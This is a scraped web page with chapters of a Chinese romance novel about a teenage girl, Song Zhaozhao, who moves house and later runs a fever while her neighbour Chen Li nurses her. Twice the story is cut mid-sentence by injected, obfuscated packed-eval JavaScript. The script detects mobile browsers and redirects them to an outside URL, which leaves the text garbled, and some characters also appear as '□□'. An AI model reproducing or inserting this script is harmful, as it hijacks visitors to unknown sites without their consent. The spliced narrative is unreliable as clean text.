搬家实在辛苦,尽管叫了搬家工人,可大包小包、零零散散的行李堆到家门口和客厅,几乎将空间塞得满满当当,看了着实令人两眼一黑。 宋昭昭和父母一刻不得闲,忙着拆箱布置,中午勉强吃了碗面,下午继续埋头整理。 到了傍晚,霞光染红了整片天空,宋母伸了个懒腰,从客厅走到阳台,仰面任由清风拂面,满足地长舒一口气:“真好啊!” 宋父跟着走到她身旁,拿了两张纸巾,细心温柔地帮宋母擦拭额边沁出来的汗,笑说:“风景确实不错。” 宋昭昭早累得瘫在沙发上,听到父母的对话,循着声音的源头望过去,看见窗外的天际霞光万里,夕阳余晖与橙红色晚霞交相辉映,似薄纱,似画廊里打翻的颜料盒。 整个世界都因这一幕的美丽而变得美好起来。 他们的新房子买在二十楼,站在高层阳台,小区内部景观一览无余。前排没有遮挡,屋子四面通风,窗户大开,风吹过来的时候,窗帘晃晃荡荡。 小区旁流经一条宽敞的河,河对岸是市区最大的公园,每日前来散步、露营的市民不计其数。河畔两侧都种植了一排景观树,并且竖立着家乡主题鲜明的路灯,到了晚上亮灯时,夜景格外漂亮。 这会儿天色还没完全暗下来,河对岸已经有人在逛公园,等再过一两个小时,河岸的灯全部亮起来,照得河面亮如白昼,灯火辉煌,前来散步的市民逐渐增多,人声鼎沸,烟火气也更充足。 收拾行李导致三个人都精疲力竭,没人能多分出力气再去做晚饭,于是瘫在沙发上开始浏览外卖。 晚餐点的外送烤鱼,外卖员送上门时他们刚擦干净厨房的餐桌。 人在极度疲惫劳累、透支精力的情况下,抬手夹菜都嫌费胳膊,桌上那一盆烤鱼虽香,宋昭昭吃得也挺津津有味,但吃了半碗,她就开始止不住打哈欠。 宋母观察她好一会儿,见她困得眼睛都要眯起来,脑袋在半空一顿一顿的,抿了抿唇,忍不住笑出声:“昭昭啊,吃完饭你先去洗澡好了,洗完澡先睡一觉。反正大件行李都已经整理好了,剩下的小东西明天收拾也行。” “昭昭,听到了吗?” “嗯嗯。” 她的嘴巴装模作样地嚼了两下,似乎是在逞强,告诉母亲她还撑得住,结果嘴巴里什么也没有,白白嚼了一嘴空气。 宋父宋母相视一笑,嘴角都要咧到太阳穴了。 吃完晚饭,太阳已经彻底落下山,空气闷闷沉沉的,房间内开了冷气,宋昭昭回房间拿换洗衣物,经过吹风口时,冷不丁打了个喷嚏。 眯着眼睛原地站了十几秒,宋昭昭揉了揉鼻尖,转身走向浴室。 她太困了,困到脑子里空白一片,洗完澡吹好头发,将自己往床上重重一抛,直接合着眼陷入了梦乡。 睡着时,宋昭昭身上只盖了一层薄薄的空调被,她睡觉并不安分,翻来覆去的,最后被子从身上滚落下来,半夜直接被冻醒。 宋昭昭睡眼惺忪,皱了皱眉,微眯着眼睛去捞不知滚到何处的被子。 睡前忘记拉窗帘,此刻房间的窗帘大开着,屋外的霓虹和月光全部泄了进来。 浅薄的、皎洁的月光如温润的流水,静静地淌在房间的地板上。 宋昭昭的右眼试探性地睁开一条缝,烦躁地努了努鼻子,最后浅浅叹一口气,无奈地从床上爬起来,趿拉着拖鞋去拉窗帘。 她的房间方向面朝那条河,等走到窗户旁,宋昭昭才发现夜已深,夜幕之下,河畔两侧的灯全部点亮,星星点点的光在河面散开,河水蜿蜒,修筑的堤坝似一条游龙,五彩缤纷的灯光弯弯曲曲,格外有艺术色彩。 城市的夜景比风光路的景色壮观许多,市区两条主干道,纵使到了半夜仍旧车水马龙,一辆接一辆车子驶过,扬起灰蒙蒙的尘雾。 宋昭昭在窗前驻足看了会儿夜景,恍惚间想起白天离开风光路时,陈历说在她的箱子里放了一个礼物。 但她太忙了,来到新家后大箱小箱堆积在面前,她完全将他的话抛之脑后。 对哦,礼物呢? 宋昭昭前前后后拆了好几只箱子,把夏季与秋季的衣服全部挂到衣柜,从头到尾都没看见礼物的影子,该不会被她弄掉了吧? 她一时心急,大跨步去开房间的灯,木质地板被踩出“噔噔噔”的声响。 大件行李收拾完了,她记得还有两个箱子放在玄关处,里面零零散散装了一些她的玩偶和手作。 或许,礼物装在那里? 此时已是半夜,爸妈的房门紧闭,整间屋子静悄悄的。 宋昭昭不敢弄出更大的动静,于是敛息屏声,打着手机手电筒的光,猫着腰小心翼翼地踱步至玄关,拿着一把小剪刀,将两只箱子的封口都划拉开。 她无需仔细翻找,因为在第二个箱子打开的同时,她的视线已经落在那只熟悉的玩偶上。 那是一只名叫“玲娜贝儿”的玩偶。 宋昭昭认得它,她又惊又喜,双眼亮晶晶的,蹲下身,将它从箱子里抓了出来,拿在手中反复端详。 这只玩偶近两年特别出圈,无论是挂件还是玩偶,在网上的销量都特别爆。 宋昭昭之前看过有关玲娜贝儿的视频,圆溜溜的大眼,浑身毛茸茸的,都是充满少女心的粉色,她觉得它的形象挺可爱。 不过宋昭昭拥有的玩偶并不少,平常摆在床的边沿,从头到尾整整一排。 有次期末,她从学校搬被子回家时,顺便把床上的玩偶也带回家清洗,整整一桶玩偶,挂在阳台晾晒被陈历看见。 他的视线从玩偶身上淡淡扫过,继而问她:“这么多,摆床上不嫌挤得慌吗?” 怎么会! 这些玩偶都是她的宝贝,她才不嫌。 宋昭昭向他解释,这些玩偶相当于是她的“阿贝贝”。简而言之就是几岁的小朋友会有“阿贝贝情节”,俗称“恋物情结”,指对经常使用的被子、玩偶等产生强烈浓厚的情感。 她最喜欢的几只玩偶,都陪她度过人生的重要阶段。 譬如有一只鲨鱼玩偶,就是她初中初次住宿,父母希望她能锻炼独立自主的能力,买来送给她的。 住校的前几天,夜深人静时,她确实因为不适应和想念父母不止一次红了眼眶。她把对父母的想念都寄托在这只小鲨鱼上面,失眠、情绪低落时,就抱着鲨鱼,自己哄自己睡觉,久而久之,便对它有了不一样的情感。 大概是上次宋昭昭解释过后,陈历记了下来。 这回搬新家,他怕她不适应,所以给她准备了一个新的“阿贝贝”。 宋昭昭怀抱着玲娜贝儿回了房间,嘴角始终上翘着,眼角眉梢溢满笑意,此刻内心十分充盈,有一种被人放在心上的温暖和感动。 坐在床上,她揉了揉惺忪的睡眼,给陈历发了条信息。 【谢谢你的礼物,我很喜欢!】 附赠一张玲娜贝儿和她另外几只玩偶摆在一块儿的照片,又连发了几张“心花怒放”的表情包以示满意。 搬家的失落和沮丧在这个寂静的夜晚,被一只漂亮可爱的玩偶稍稍治愈。 宋昭昭躺心满意足地躺回床上,爱不释手地抱着玲娜贝儿,一会儿摸摸它的脸蛋,一会儿牵牵它的小手,怎么折腾都不够。 玩着玩着,眼皮渐渐变得沉重,最终沉沉地睡过去。 - 九月,高中生活正式开始。 老师的教学节奏果然如陈历所言,比初中快了不止一个档次。宋昭昭上课根本不敢分神,生怕捡支笔的功夫,抬头再也听不懂知识。 进入陌生环境,宋昭昭起初并不太适应。 然而唯一值得庆幸的是,陈蓓居然和她成为了同班同学。一个年级近二十个班级,她们之间的缘分,大概真是用钢丝绳拉的。 陈蓓勾着宋昭昭的脖子,笑得贱兮兮:“小昭昭,我们又成为同桌了,天赐的缘分!” 笑完之后,又挤眉弄眼:“你跟你那陈历哥哥,进展如何啊?” 说起这事宋昭昭就来气,无论是试探地发截图还是故意在他面前提起别的男生,宋昭昭基本都是照她说的做,结果非但没有得到想要的结果,反而差点将他推远。 听完宋昭昭的抱怨,陈蓓纳闷地摩挲着下巴,百思不得其解:“不应该啊……” 但那已经不重要了。 因为忙碌的高中生活和巨大的学习压力像一块沉重的石头,狠狠地压在她们身上,上课、写作业、考试……一分钟恨不能掰成两份来用,就连陈蓓这个叫嚣着上高中之后换个男生玩玩的女同学,也没工夫垂涎男生的美色。 早起贪黑的学习,最终导致宋昭昭在学期末之前发了一场高烧。 那天在寝室醒来时脑袋晕晕沉沉,鼻子像被铅堵住了似的,呼吸变得愈发沉重、困难,她原本以为只是小感冒,多喝热水熬一熬就能挺过去。 但她在课堂上困意袭来,眼皮变得格外沉,整个人无精打采,看起来蔫蔫的。 陈蓓察觉到不对,伸手探了下她的额头,才惊觉她的身子滚烫得吓人。 陈蓓将此事告知班主任,班主任打电话联系父母,偏偏那一周宋父宋母接连出差,人在外地,没办法及时赶过来。 后来宋昭昭联系了董莲,她打车来接人回了风光路。 回家前,董莲带宋昭昭去了一趟医院,验过血,用温度计测过温度,三十九度。 属于高烧,但医生不建议打针,开了药给她吃。 坐的士回风光路,车窗外风景飞驰,宋昭昭无力地头抵着车门框,微微掀开眼。 望着车窗外一闪而过的地标建筑,久违的熟悉感逐渐回到体内。 陈历在外省读大学,房间空置着,董莲利索地搬出洗干净放在衣柜里的被子,铺好床,让宋昭昭去床上躺着休息。 董莲这人爱操心,任何事都习惯做得面面俱到,宋昭昭上床后,她又捧来一杯水,让她先吃一颗药再休息。 宋昭昭换上睡衣,就着温水吃过药,缩进了被窝里。 干净的被子除了残留的独属于阳光的味道,还留有一股清淡的、熟悉的香味。 宋昭昭在陈历身上闻到过很多次,这股味道真好闻,一闻到就令人心静,下次应该问问莲姨用的是什么牌子的洗衣液。 如是想着,宋昭昭昏昏沉沉地睡了过去。 期间,莲姨似乎来过两次房间,打湿的毛巾拧干之后,贴心地擦了两遍她的额头、脸颊和脖颈,她本意是想降一降宋昭昭的体温,让她稍微好受些。 突如其来的凉意让半梦半醒间的宋昭昭下意识瑟缩了下,她微微皱起眉头,高烧使得她精神不济,睡过去又醒来,身体似乎并不好受。 董莲心疼地帮她把碎发别到耳后,摸了摸她的脸颊,悄无声息地退出房间。 油腻辛辣的菜不能吃,刺激性食物也不能吃,董莲特意煮了青菜鸡肉粥,用小火慢炖,等她醒来让她填填肚子。 在厨房煮粥时,陈历来过一个电话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405677|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大学期末考试时间安排得早,陈历这几天已经结束了主要科目的考试,他整理出冬天穿的外套寄回家,大概今天快递就会到驿站。 他打这个电话,是想提前和董莲打个招呼,他买了明天的车票回家,那件快递比较重,董莲不要逞强去拿,等明天他到家了自己会去驿站拿。 董莲这会儿哪还有功夫搭理陈历,她正在厨房切姜片,琢磨着给宋昭昭煮碗姜茶。 她心不在焉的敷衍陈历,引来陈历的怀疑:“妈,你在做什么?” 聪明敏锐如他,光听声音就听出来了她今天的语气与往常的差异,董莲也没打算瞒他,三言两语交待了宋昭昭发烧的事情,并把她住在他房间的事情也提前交待了。 听罢,陈历没问“那我回来睡哪儿”,而是担心地问了句:“她现在还好吗?” “吃过退烧药,睡着了。医生说那药得连着吃两天,后续再看退烧的情况。” “好的。” 董莲忧心忡忡,拉着陈历说了好半天话,她怕宋昭昭高烧反复,也怕照顾不周让她病情加重。 陈历出声宽慰她:“没事的,别担心。” 虽然话里话外陈历都在抚慰董莲的情绪,但等到挂断电话后,他反倒第一时间打开购票软件。本来定的是明天的票,想着时间充足,可以收拾行李,免得回家之前忘带东西,但这会儿,他有些着急改签。 改签之后,陈历打开与宋昭昭聊天的对话框,想问问她人还舒服吗,但听董莲说她刚睡着,于是合上手机,打算先不打扰她。 晚上七点,陈历拖着行李箱到达风光路。 家中,客厅开了一盏灯,宋昭昭和董莲面对面坐着,因为发烧,宋昭昭有气无力,坐卧难安,一碗青菜鸡肉粥喝了快十分钟,还没见底。 董莲看了也着急,吃不下饭对身体恢复并无益处,她微张嘴巴,刚要开口询问是不是粥不合胃口,大门被人从外打开。 餐桌前的两个人不约而同将视线投向门口。 明暗交界的大门口,陈历拖着一只行李箱,风尘仆仆地赶回风光路,他穿着一身黑色羽绒服,纤细、修长的手指搭在门把上,抬起头,对上宋昭昭的视线。 只停留了一瞬,又转向董莲。 后者明显感到诧异,她登时抬高了音量问:“你怎么回来了?不是说明天的票吗?” 陈历关门的手一顿,下午急匆匆赶回来,忘了和董莲提前说改签的事情。 他面不改色地合上门,脱了鞋走到客厅,慢条斯理道:“你听错了吧?我说的是今天晚上回家,有没有给我准备晚饭啊妈?” 幸好下午打的是电话,并没有发消息,董莲就算与他对峙也没有证据。 更何况下午通电话时她本来就在忙,一心两用的情况下,记错、听错,很正常。 “锅里有粥,我去给你盛点。” 好在董莲并不纠结他原是准备今天回来还是明天回来,待陈历放好行李箱,她连忙起身,钻进厨房给他盛粥去了。 整个过程,宋昭昭都迷迷糊糊的,她的视线黏在他身上,随着他的走动从左转到右,再从右转向左。 两个人的视线再一次在空中相接,陈历冲她微微一笑,进去洗手间洗手。 大抵是发烧的原因,脑子转动得尤其慢。 宋昭昭鼻子酸酸的,内心也酸酸的,生病让她变得敏感、脆弱。 陈历洗完手再擦干净,顺手把纸巾丢进过道的垃圾桶里,她迎着宋昭昭困惑的、懵懂的目光,目不斜视地朝她走过来。 走近后,陈历抬起手,两只手在她面前摩挲了会儿,才贴到宋昭昭的额头。 他的手背微凉,与皮肤相贴的瞬间,宋昭昭下意识眨了下眼睛,她后知后觉,反应过来这不是梦。 此时此刻,站在她面前的陈历,是活生生的人,不是她构想的一场梦。 反应过来之后,她对陈历突如其来的亲密接触有些手足无措, 她抿着唇往后缩,陈历已经松开手,不急不缓地说:“还有点烫,等吃过饭后,再给你量一□□温。” 他知道她发烧的事情了? 宋昭昭的眼皮动了动,回过身面朝餐桌,右手捏着汤匙,一下一下地搅着碗里的粥。 陈历在她对面坐下,董莲刚好捧出一碗热腾腾的粥,随手递给陈历,她又转向宋昭昭,放柔了声音问:“昭昭啊,阿姨再给你盛半碗粥好不好?” 喝粥容易饿,医生开的退烧药烧胃,她得填饱肚子才能避免出现身体不适。 可她现在胃口不佳,吃什么都好费力气。 宋昭昭欲言又止,本想拒绝,陈历将话接了过去:“她要,妈你给她再盛半碗吧,免得晚上肚子饿。” 他就这么擅自替她做了决定。 董莲也是这么想的,她歪了下头,询问宋昭昭的意见。在两人热切的关心下,她说不出拒绝的话,便点了点头。 见她还能喝下粥,董莲笑呵呵地走到她面前,拿走碗。 餐桌上又剩下两个人对望,从进门到现在,宋昭昭的目光毫不遮掩地在他身上一再流转,偏偏不肯开口说话。 生病的人情绪敏感,内心总是脆弱。 宋昭昭瘪着嘴,一副随时都可能哭出来的委屈模样。 陈历的双臂搭在桌面,朝她凑近了一点点。 眼底的笑意浅浅的,他尽量以平和、温柔的语气同她对话,弯了弯唇角问她。 “干嘛一直盯着我看?这么快就不认识我了啊,宋昭昭?” 25. 第二十五章 25 吃过饭后,宋昭昭去浴室简单擦了擦身子,继续回床上躺着。 手机在充电,她拿了陈历的iPad看电影,放的是《怦然心动》。 近些年都没有几部特别好看的、能入眼的电影,她总是一遍遍翻寻以前的作品。 宋昭昭靠在床头,无精打采看电影的时候,董莲进房间在她的床边打了个地铺,宋昭昭忙放下iPad,疑惑地望向她。 董莲笑着解释:“昭昭,阿姨今晚在你这儿打地铺,没关系吧?” 其实还有一间空房,但平时都被她拿来堆积杂物,并且那个房间长久不住人,没打扫,也没安装空调。 陈历好不容易寒假回家,她想着今晚让他去她房间睡床,自己到这边打地铺,顺便照看宋昭昭。 还不等宋昭昭回答,陈历端着一杯温水走了进来。他斜睨了眼床边的地铺,目光停留在董莲身上。 “妈,你去厨房看看姜茶煮得怎么样了,我看刚才好像在咕噜冒泡。” 经他提醒,董莲猛地拍了下自己的大腿,慌里慌张地闪身出了房间,边快步走边念叨:“你瞧我这脑子!” “年纪大了,老记不住事!” 董莲走后,卧室静了下来,宋昭昭睁着一双圆溜溜的眼睛,与陈历对视。 他端着温水,另一只手拿着温度计,迎着她的目光坐到床沿,温声道:“先把药吃了,再量一□□温。” “这支温度计是全新的,你想放到嘴巴还是夹在腋下?” “腋下吧。”宋昭昭开口,嗓音有点嘶哑。 大概是发烧的缘故,她的身体略显虚弱,嘴唇明显泛白,平时炯炯有神的眼睛,此刻眼皮耷拉着,似乎有些黯淡无光。 下午喝了不少水,也难掩嘴巴的干燥,讲话时上下嘴唇一张一合,嘴皮微微翘起一角。 “喝点水。” 陈历的视线在她嘴唇上停了一瞬,敛了敛眼眸,把水杯递了过去。 宋昭昭放下iPad,捧着水杯小口地喝,温度不冷不热,既润喉又不烫嗓子。 紧接着,陈历把药送到她面前,她拿起躺在他掌心的一颗药,混着水仰头灌了下去。 在陈历的监督下,宋昭昭勉强喝完了一整杯,靠着床头,眼皮懒懒地撑着,随时有合下来的可能。她太困了。 陈历叮嘱道:“我再去给你倒一杯,你把体温计放到腋下,计时五分钟。” 看着他忙前忙后、一刻也不得闲的身影,宋昭昭有点不好意思麻烦人家,但她现在有气无力,脑袋依然昏昏沉沉的,除了道谢别的什么也做不了。 陈历拿起水杯去了厨房,正巧董莲倒好姜茶,放在灶台上晾凉。 他走到董莲身侧,拦住她,低声说:“妈,今晚你回房间睡床上,我睡地铺,方便照顾昭昭。” “哎呀,不用的。”董莲蹙眉望向他,语气纳闷:“你有床不睡?干嘛要跟我抢地铺啊,妈妈在昭昭房间,也是为了照顾她,万一半夜她醒来口渴,好给她倒杯水,要是体温还降不下来,到时候可能得送医院。” “这些我也可以做。”他笃定地回答。 静了半晌,陈历拍拍董莲的肩膀,诚实道,“妈,洗碗的时候,我听到老板给你打电话了。你今天请假,明天还请的下来吗?临近年关,超市正是忙碌的时候,人手紧缺,老板不一定给你批假吧。” “反正我放学在家,让我照顾她好了。你明天去上班,回房间睡觉吧,人休息好了才有精神。” 母子两人在灶台前默默地对峙了片刻,陈历语重心长道:“你打地铺我睡床,这觉我也睡不安生啊。” “况且,昭昭要是高烧不退,不得我背她去医院?” 陈历言之有理,头头是道,董莲不得不点头。不过有了陈历信誓旦旦的保证,她才稍稍放宽了心。 晚饭后,老板确实给她打了个电话。最近店里人手不够,她要是连着请两天假,肯定会耽误老板的生意,成年人,给别人打工,看人眼色,没有自由是真。 董莲本来想着晚上再打个电话,请求老板通融下,家里有个发烧的小孩需要照顾,她走不开。 既然陈历今天从学校回来了,又主动提出照顾,确实让焦头烂额的她放松许多。 - 姜茶是陈历端进来的,他见宋昭昭困得已经闭上眼,敲了两下房门,轻声问了句:“量过温度没?” 宋昭昭眼皮都没抬一下,回道:“三十八度二,降下来一点点。” 陈历点点头,坐到床沿,捧着碗招呼她:“过来把这碗姜茶喝了再睡。” 全程说话都像在哄小孩。 闻言,宋昭昭缓缓掀开眼皮,看见陈历正坐在眼前凝视着她。她“嗯”了声挪动屁股,累到不愿意自己捧碗,凑上前就着碗沿小口抿着喝。 姜茶有些辣,喝了两口,她眉头微拢。 陈历盯着她的脑袋顶,低低地说:“今晚我在这里打地铺睡,你介意吗?” 毕竟男女有别,还是需要过问她的意见。 “咳咳咳——” “咳咳咳——” 他突如其来的一句话吓得宋昭昭吞咽不及时,含在嘴里的姜茶因为惊诧差点儿呛到鼻腔,她开始剧烈咳嗽。 一声接着一声,根本停不下来。 陈历拿远了碗,顺手抽了两张纸巾帮她擦拭唇边的姜茶。 指间不经意间触碰到她的脸颊,宋昭昭本就体热,这会儿胸腔和脸都要烧起来,大脑一片空白。 他要睡在这个房间? 宋昭昭不可置信地抬眼,视线就这么不偏不倚地撞上,他的表情似乎很坦然,甚至在她抬眼的同时补了一句:“怕你晚上体温会反复,我来照顾,可以吗?” 她有什么理由可以拒绝呢? “嗯”字在喉咙里滚了一圈,宋昭昭埋下头,欲盖弥彰地喝了两口姜茶,混沌的声音传来:“麻烦你了。” 喝过姜茶后,宋昭昭睡意来袭,她盖着被子躺在床上,本想闭目养神,结果没两分钟就彻底睡过去。 听着平稳匀速的呼吸声传来,陈历静静地盯了会儿她的睡颜,抬起手细心地帮她掖了掖被角,最后关上大灯,轻手轻脚地退出了房间。 半夜的时候,宋昭昭醒过来一次。 搁在床头的iPad被人收到桌面,放在床头柜充电的手机也被拔了充电线。房间里漆黑一片,唯有空调显示屏的光淡淡地笼下来,她才能隐约看见房间的模样。 右手边的床沿底下,铺了地铺,陈历的被子将他遮得严严实实,只露出一张平静的脸。 晚上喝了温水喝姜茶,这会儿尤其想上厕所。 人有三急,上厕所这事乃重中之重,宋昭昭双臂支着床艰难地爬起身,大灯的光太亮,开起来定会惊醒陈历,她只好去够床头的手机,小心翼翼亮起手电筒,白光瞬间撕破黑暗,宋昭昭被光刺得闭了闭眼睛。 她穿上拖鞋,打算从床尾绕去门口的位置,然而她才走出两步,明明动作已经放得很轻,仍是吵醒了陈历。 他的嗓音低低沉沉,带着睡梦中的慵懒:“昭昭,你去哪里?” 被点到名字的宋昭昭顿时僵硬地愣在原地,她开口回答:“去上厕所。”刚说话,嘴唇就传来强烈的拉扯感,定是嘴巴太干的缘故,她牵了牵嘴角,感到抱歉,“吵醒你了,不好意思啊。” 陈历哪里用得着她这么客气,他利索地爬起来,起身开了大灯。 “啪嗒”一声,明亮的光顷刻间将房间填得满满当当,整间屋子亮堂堂的,两个人都不由自主地眯起眼、皱起鼻, 陈历不放心宋昭昭独自一人,遂等在卫生间门口。 两个人全程蹑手蹑脚的,生怕吵醒了隔壁房间的董莲,悄声说话,缓步走动,好像电影里的特工做任务,有种冒险的刺激感。 宋昭昭洗完手出来,陈历斜靠着门框正在等她。 光影下,他的侧影不再是印象中少年人的青涩干净,穿着一套居家睡衣,还多了点成熟的“人夫感”。 这一认知令她的视线不由在他身上多停了会儿,在他看过来之前才依依不舍地挪开目光。 宋昭昭先回的房间,江南的冬日实在太冷了,卧房外没有开空调暖气,钻出去仿佛被埋进了冰天雪地,不一会儿就手脚冰凉。 回房后,宋昭昭捧着玻璃杯暖手,里面装着刚才出去上厕所前陈历提前倒好的温水。 她喝两口望一眼大门的方向,百无聊赖地玩起双脚点地的游戏,数到数字九十八,终于等到陈历回房。 他一回房间,宋昭昭就从期待的状态改为拘谨。 虽说陈历在这间房打地铺,一是心疼孝顺莲姨,二是时刻关注她的病情,这无可厚非。但一男一女,十几岁的年纪,共处一室,此刻万籁俱寂,难免令人浮想联翩。 宋昭昭埋头坐在桌前喝水,余光牢牢黏在他的身上,随着他的身影不住地前后闪动。 陈历进屋后,擦干手,兀自向她走了过来。依旧是熟悉的流程,揉暖双手,贴到她的额头上探温度。 还烧着,温度不见得比下午更低。 本就高烧,房间内又开了暖气,这会儿宋昭昭脸蛋红扑扑,背部隐隐沁出一层薄汗。 “人还难受吗?” 从晚上回家与她对视,和她交流,宋昭昭反应变得迟钝,平时那么伶俐、活泼一个人,突然安静下来,怪让人不适应。 陈历怕她难受憋着不出声,只好一个劲儿去探她的体温。 话音落,他贴着床沿坐了下来。 床尾对着书桌的方向,宋昭昭坐在书桌前的转椅上,陈历坐下后,单手搭在转椅后背,轻轻一旋,宋昭昭连人带椅面朝向他。 她避开直勾勾的视线,慢吞吞地眨了下眼睛。 杯中的水已经喝得见了底,她尴尬、心里没底的时候,通常要做点其他事情去掩饰自己的慌张,水杯在手,她就小口地抿着喝,假装漫不经心的模样。 陈历瞥一眼她捧着的空杯,眼睛不知不觉弯起,他顺手抽走了那只杯子,贴心地问道:“还要喝吗?” 宋昭昭沉默片刻,摇头。 还是不了,喝多水容易上厕所,大冬天的起夜麻烦,本来叨扰他们就已经够不好意思。 “那你不介意我拿它倒杯水喝吧?”陈历突然问。 他的话钻进了她的耳朵,因为过于震惊,宋昭昭猛地抬头看向陈历。 陈历笑着与她对视,解释:“我怕进进出出会吵醒我妈,也想偷个懒,不走这一趟。” 原来如此,忽然紧绷的脊背稍稍松垮下来。 “不介意的。”宋昭昭回应他。 得到肯定的回答后,陈历从床沿站起身,他从书桌上放置的保温瓶中倒了半杯水,仰着头一饮而尽,凸起的喉结上下规律的滚动着。 开了暖气之后,房间里的空气变干燥,睡醒之后他也觉得浑身燥热,需要一杯水解渴。 宋昭昭注视着他,看见他的双唇贴上杯沿,紧密贴住的瞬间,她的眼睫下意识颤了颤。 随着他的喉结上下一动,她也情不自禁地舔了舔嘴唇。 回到床上,熄了灯,黑暗中伸手不见五指。 漆黑的环境给了她无限的安全感,白天昏昏沉沉睡了一天,这会儿温度降下去,人的精力慢慢恢复,反倒清醒起来。 宋昭昭睁眼盯着天花板,试图催促自己快点睡过去,结果却是耳朵高高竖起,时刻注意陈历的动静。 他似乎也没有睡。 方才听见他翻身,棉被传来细细簌簌的摩擦声。 宋昭昭侧过身,面朝陈历的方向,她吸了吸鼻子,轻声问:“你睡了吗?” 又是一阵细微的声响,陈历好像也在被窝中转了方向,几秒后,宋昭昭听见他的回答:“没有。” 他的声音低沉,但在寂静黑暗的房间,即使再轻的声音似乎都被放大了,宋昭昭瑟缩了下脖子,刚刚那一声,仿佛他俯在耳畔回答,气息挠得她有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405678|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些痒。 “你怎么还不睡?”宋昭昭问。 他从学校赶回来,地铁、高铁,再换乘公交,舟车劳顿,人的体力和精力消耗之后,这会儿应该困得呼呼大睡才是。还是说她的存在让他不适应了? “你不睡,我怎么睡得着?”陈历出声,回答得很微妙。 听见这个模棱两可的回答,宋昭昭略睁大眼,连呼吸也放慢了。 是……担心她的意思吗? 还是……嫌弃她? 宋昭昭眨了眨眼,神色透露出不自信,略显局促地问:“是我,是我吵到你了吗?” 陈历失笑。 “昭昭。”他唤她的名字。 音量很轻,几近于喃喃自语时无意吐露出的名字,在这个只剩下彼此微弱呼吸的房间里,宋昭昭听见了,心脏也随即一停。 “嗯?”回应时尾音在发颤,她屏住呼吸,望向黑暗中他的方向。 “快点好起来吧,昭昭。” “啊?” 气氛烘托到这里,宋昭昭不可置信地扬高了声音,他只是想说这一句话吗? 没错。 在她疑惑之时,陈历又强调了一句:“快点好起来,等你病好之后,带你出去玩。” 说罢,陈历向她道了一声“晚安”。 宋昭昭脑袋埋在枕头里,轻轻地点了下头:“好。” - 第二天,董莲早起去超市上班,她炖好了粥放在电饭煲里保温,出门前旋开陈历的房门,看见两个人正熟睡,睡颜安静。 她欣慰一笑,退出房门后,发了条信息提醒他们起来后记得喝粥。 陈历醒得比宋昭昭早,他洗漱后喝了碗粥,之后一直待在客厅看书。 冬日的暖阳斜斜地打进来,光照在书本上,反射出来的光晃了下他的眼睛,他合上书,搓揉眼睛的同时,房间的门从内打开。 宋昭昭穿着睡衣,软绵绵地立在门框前。 他抬眼看过去,问:“醒了?” 宋昭昭迷迷糊糊地眯着眼,点头,懒懒地应了声:“嗯。” 站着晃了晃脑袋,等清醒了会儿,宋昭昭抬脚往卫生间的方向走去。 拿过一次性牙刷时,看见隔壁的牙刷杯里新插上了一根蓝色的牙刷,上面沾着点水渍,刚用过。 这根牙刷应该是陈历的。 她收回视线,慢吞吞地对着镜子刷牙,刷着刷着嘴角上扬,心里莫名升起“过日子”的错觉,有点突兀,但还有点幸福。 从卫生间出来后,陈历已经帮她盛好粥,又打开冰箱看了看食材,扬声问道:“你中午想吃什么,我等会儿去拿快递,顺便买点菜。” 宋昭昭勺着粥,眼睛随着陈历的背影左右转动,在他回过身前又投向眼前的碗。 “都可以……”犹豫了会儿,宋昭昭改口,“想吃你煮的面。” 先前还是邻居,两家父母出门有事,宋昭昭不会做饭,就经常到陈历家蹭饭。他最拿手的就是汤面,既简单又方便,番茄鸡蛋面,青菜肉丝面,牛肉面,三鲜面…… 他的手艺极佳,吃多了他煮的面,宋昭昭便觉得外面的餐馆不过如此,更不乐意在父母出门的时候点外卖,而是经常性去他家蹭饭。 久而久之,她的胃口都被他养刁了。 “行。”陈历阖上冰箱门,坐到她对面,玩笑道,“看来你还是很认可我的厨艺。” 傍晚时分,外头天色将暗未暗。 宋昭昭在陈历的监督下又量了一次体温,这回温度降到三十八度之下,脸色较之前相比也没那么苍白,眼看着精神气在渐渐恢复,陈历取走体温计时拍了拍她的脑袋,顺口夸赞:“很好,很乖。” 语气温温柔柔的,还显出点幼稚来,怎么像是在哄小孩子? 她忍俊不禁,抗议道:“拜托,我不是小孩子了。” “怎么不是小孩子?你未成年。”陈历四两拨千斤,走回沙发前,姿态随意地坐到她身旁,两人之间隔了半米距离,“比我小,就是小孩子。” 宋昭昭翻了个白眼,哼唧两声:“马上就成年了啊。” 陈历来了兴致,手撑着脸歪头看向她,挑了挑眉问:“你好像很期待长大?说来听听,长大都有什么好?” “长大后人更自由,精神自由、经济自由、恋爱自由……”宋昭昭张口就来。 “恋爱?”陈历捕捉到这个词,微眯起眼。 “哦——”陈历另一只手的手指轻敲了两下沙发,恍然大悟地拉长了尾音,似是发现了惊天秘密,故意夸张地点点头,“原来这就是你迫不及待想长大的原因啊。” “才不是。” 宋昭昭忙摆手否认,眉头皱得能拧出一团麻花,脑袋原本惬意地抵靠着沙发,这会儿正襟危坐,表情严肃。 “我就是……就是打个比方嘛。”她不自然地摸摸鼻子,小声嘀咕着。 他们对视了半天,陈历不说话,宋昭昭摸不准他的态度,紧张得掌心都在冒汗。 她说错话了吗? 